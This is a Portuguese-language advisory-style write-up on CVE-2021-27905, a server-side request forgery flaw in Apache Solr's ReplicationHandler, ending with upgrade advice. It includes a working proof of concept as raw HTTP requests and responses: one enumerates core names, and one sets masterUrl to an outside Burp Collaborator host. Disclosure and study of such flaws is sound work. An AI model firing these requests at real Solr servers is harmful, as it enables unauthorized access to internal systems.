
[CVE-2021-27905] Server Side Request Forgery (SSRF) no Apache Solr ReplicationHandler
[CVE-2021-27905] Apache Solr ReplicationHandler - Falsificação de Solicitação do Lado do Servidor (SSRF)
Hit Counter
Apache Solr (significa Searching On Lucene with Replication) é um mecanismo de busca gratuito e de código aberto baseado na biblioteca Apache Lucene. Escrito em Java. O Apache Solr possui APIs RESTful XML/HTTP e JSON e bibliotecas cliente para muitas linguagens de programação como Java, Phyton, Ruby, C#, PHP e muitas outras, sendo usado para construir aplicações de busca e análise de big data para sites, bancos de dados, arquivos, etc.
Apache Solr todas as versões anteriores a 8.8.2 (7.0.0 a 7.7.3 e 8.0.0 a 8.8.1) são vulneráveis a vulnerabilidade de Falsificação de Solicitação do Lado do Servidor (SSRF). A exploração bem-sucedida desta vulnerabilidade pode levar a ações não autorizadas ou acesso a dados dentro da organização, seja no próprio aplicativo vulnerável ou em outros sistemas backend com os quais o aplicativo pode se comunicar.
O ReplicationHandler (normalmente registrado em /replication sob um core do Solr) possui um parâmetro masterUrl (também alias leaderUrl) que é usado para designar outro ReplicationHandler em outro core do Solr para replicar dados de índice para o core local. Para evitar uma vulnerabilidade SSRF, o Solr deveria verificar esses parâmetros contra uma configuração semelhante que ele usa para o parâmetro shards. Antes de essa vulnerabilidade ser corrigida, isso não era feito.
Prova de Conceito (PoC): Para explorar esta vulnerabilidade, um invasor precisa saber o nome do core no Apache Solr. Por isso, a seguinte requisição pode ser usada para determinar o(s) nome(s) do(s) core(s).
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

Após determinar os nomes dos cores, basta selecionar um deles e fazer uma requisição para este endpoint: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


Mitigação: Qualquer uma das seguintes ações é suficiente para prevenir esta vulnerabilidade
8.8.2 ou superior.Referências: